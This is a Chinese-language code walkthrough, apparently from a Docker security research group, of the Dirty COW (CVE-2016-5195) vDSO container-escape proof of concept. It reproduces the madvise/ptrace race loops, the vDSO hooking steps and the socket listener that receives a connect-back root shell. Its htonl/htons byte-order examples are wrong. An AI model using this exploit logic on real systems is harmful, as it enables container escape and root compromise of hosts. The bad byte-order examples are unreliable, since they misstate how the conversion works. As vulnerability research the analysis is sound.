脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

利用代码原出处
代码原帖

本人GitHub也保留有漏洞利用相关代码
CVE-2016-5195

作者 : 武汉大学Docker安全研究小组

一 . 代码运行流程

Main函数

int main(int argc, char *argv[])
{
    struct prologue *prologue;
    struct mem_arg arg;
    uint16_t port;
    uint32_t ip;
    int s;

    ip = htonl(PAYLOAD_IP);
    port = htons(PAYLOAD_PORT);

    if (argc > 1) {
        if (parse_ip_port(argv[1], &ip, &port) != 0)
            return EXIT_FAILURE;
    }

    fprintf(stderr, "[*] payload target: %s:%d\n",
        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

    arg.vdso_addr = get_vdso_addr();
    if (arg.vdso_addr == NULL)
        return EXIT_FAILURE;

    prologue = fingerprint_prologue(arg.vdso_addr);
    if (prologue == NULL) {
        fprintf(stderr, "[-] this vDSO version isn't supported\n");
        fprintf(stderr, "    add first entry point instructions to prologues\n");
        return EXIT_FAILURE;
    }

    if (patch_payload(prologue, ip, port) == -1)
        return EXIT_FAILURE;

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)
        return EXIT_FAILURE;

    s = create_socket(port);
    if (s == -1)
        return EXIT_FAILURE;

    if (exploit(&arg, true) == -1) {
        fprintf(stderr, "exploit failed\n");
        return EXIT_FAILURE;
    }

    yeah(&arg, s);

    return EXIT_SUCCESS;
}

Created with Raphaël 2.1.0 开始 htonl()/htons() IP转换 是否有运行参数？ parse_ip_port() 将payload里的连接地址改为参数指定的IP地址 get_vdso_addr() 获取vDSO地址 fingerprint_prologue() 检查vdso_clock_gettime是否可hook patch_payload() 更新payload中的IP,PORT,prologue build_vdso_patch() 填充vdso_patch数组 create_socker() 设置一个监听socket exploit() 利用漏洞,将payload写到vDSO空间的末尾 并对vdso_clock_gettime函数进行Inline Hook yeah() 等待连接 连接成功后还原vDSO空间原数据 绑定输入输出端口到socket 结束 yes no

---

二 . 函数分析

1 . htonl/htons

htonl 传统内存数据存储方式 -> 网络字节存储 4字节

    eg :　htonl(0x1234) -> 0x4321

htons 传统内存数据存储方式 -> 网络字节存储 2字节

    eg :  htons(0x12)   -> 0x21

---

2 . prase_ip_port

函数原型

static int 
    parse_ip_port(char *str, uint32_t *ip, uint16_t *port)

函数介绍

如果输入参数有:,则将:前的字符转化为IP,后面的字符转化为端口并赋值给port

使用示例

eg:prase_ip_port("127.0.0.1:1234", ip, port)
调用结果:
    IP = 127.0.0.1
    PORT = 1234

---

3 . get_vdso_addr

函数原型

static void *get_vdso_addr(void)
{
    return (void *)getauxval(AT_SYSINFO_EHDR);
}

函数介绍
通过getauxval()函数获取vDSO的地址

---

4 . fingerprint_prologue

函数原型

static struct prologue *
    fingerprint_prologue(void *vdso_addr)

函数介绍

通过vDSO的首地址,找到clock_gettime()函数的地址,然后对比clock_gettime函数前几个字符和prologue[]数组的每一项,如果存在匹配项,则说明可以Inline Hook,返回匹配的prologue数组项

关键代码

for (i = 0; i < ARRAY_SIZE(prologues); i++) {
        p = &prologues[i];
        if (memcmp((void *)clock_gettime_addr, p->opcodes, p->size) == 0)
            return p;
    }

---

5 . patch_payload

函数原型

static int 
    patch_payload(struct prologue *p, uint32_t ip, uint16_t port)

函数介绍

将payload中的IP,PORT,prologue项,分别替换成新的IP,PORT(通过参数修改),prologue(通过fingerprint_prologue()匹配得到)

---

6 . build_vdso_patch

函数原型

static int 
    build_vdso_patch(void *vdso_addr, struct prologue *prologue)

函数介绍
填充vdso_patch数组,如果要放置payload的内存地址数据不为0,则提示

failed to find a place for the payload


vdso_patch数组元素介绍

	vdso_patch[0]	vdso_patch[1]
patch	payload	buf = “e8 0xxxxx”
copy	保存原内存数据的内存地址	保存clock_gettime前prologue->size字节数据的内存地址
size	payload_len	prologue->size
addr	payload将要被复制到的内存地址	clock_gettime的地址

---

7 . create_socket

函数原型

static int create_socket(uint16_t port)

函数介绍
设置一个监听socket,等待payload被执行,向这个socket发起连接

---

8 . exploit

函数原型

static int exploit(struct mem_arg *arg, bool do_patch)

函数介绍,通过漏洞,将数据写到指定内存地址
do_patch = true
=> 将payload写进vDSO,修改clock_gettime前面几个字节为jmp payload
do_patch = false
=> 将vDSO地址中原来的数据还原回去

主要代码

    pid = fork();
    if (pid == -1) {
        warn("fork");
        return -1;
    } else if (pid == 0) {
        check(arg);
    }

    arg->stop = false;
    pthread_create(&pth1, NULL, madviseThread, arg);
    pthread_create(&pth2, NULL, ptrace_thread, arg);

这里开启两个进程,子进程不停检查数据是否成功写入,成功则返回0,否则返回1
主线程开启两个线程,
ptrace_thread 向vDSO写
madvise_thread 将vDSO映射空间释放,对ptrace线程造成干扰,从而触发漏洞,写入成功
ptrace循环写

while (n >= sizeof(long)) {
        memcpy(&value, s, sizeof(value));
        if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
            warn("ptrace(PTRACE_POKETEXT)");
            return -1;
        }

        n -= sizeof(long);
        d += sizeof(long);
        s += sizeof(long);
    }

madivise循环释放

while (!arg->stop) {
        if (madvise(arg->vdso_addr, VDSO_SIZE, MADV_DONTNEED) == -1) {
            warn("madvise");
            break;
        }
    }

---

9 . yeah

函数原型

static int yeah(struct mem_arg *arg, int s)

函数介绍
等待连接
还原原vDSO空间数据
处理连接后的数据发送与接收

关键代码
循环等待连接,有连接之后就关闭监听

    while (1) {
        c = accept(s, (struct sockaddr *)&addr, &addr_len);
        if (c == -1) {
            if (errno == EINTR)
                continue;
            warn("accept");
            return -1;
        }
        break;
    }

    close(s);

连接成功后,将vDSO还原

if (fork() == 0) {
        if (exploit(arg, false) == -1)
            fprintf(stderr, "[-] failed to restore vDSO\n");
        exit(0);
    }

绑定输入输出到socket,处理连接数据

    fds[0].fd = STDIN_FILENO;
    fds[0].events = POLLIN;

    fds[1].fd = c;
    fds[1].events = POLLIN;

    nfds = 2;
    while (nfds > 0) {
        if (poll(fds, nfds, -1) == -1) {
            if (errno == EINTR)
                continue;
            warn("poll");
            break;
        }

        if (fds[0].revents == POLLIN) {
            n = read(STDIN_FILENO, buf, sizeof(buf));
            if (n == -1) {
                if (errno != EINTR) {
                    warn("read(STDIN_FILENO)");
                    break;
                }
            } else if (n == 0) {
                break;
            } else {
                writeall(c, buf, n);
            }
        }

        if (fds[1].revents == POLLIN) {
            n = read(c, buf, sizeof(buf));
            if (n == -1) {
                if (errno != EINTR) {
                    warn("read(c)");
                    break;
                }
            } else if (n == 0) {
                break;
            } else {
                writeall(STDOUT_FILENO, buf, n);
            }
        }
    }

---